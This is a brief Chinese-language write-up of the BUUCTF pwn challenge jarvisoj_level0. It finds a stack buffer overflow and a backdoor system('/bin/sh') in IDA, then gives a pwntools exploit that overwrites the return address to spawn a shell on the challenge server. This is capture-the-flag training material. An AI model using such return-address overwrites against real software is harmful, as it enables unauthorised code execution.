buuctf pwn06

jarvisoj_level0 1

1.checksec

2.ida

进入函数vulnerable_function()

发现 buf输入是0x80(136) 而read能输入最大字数是0x200(512),可能存在栈溢出漏洞，shift+f12发现后门函数system(“/bin/sh”)，记住这个地址40059a

exp如下：

from pwn import*
p=remote('node4.buuoj.cn',28220)
payload=b'a'*136+p64(0x40059A)
p.sendline(payload)
p.interactive()

cat flag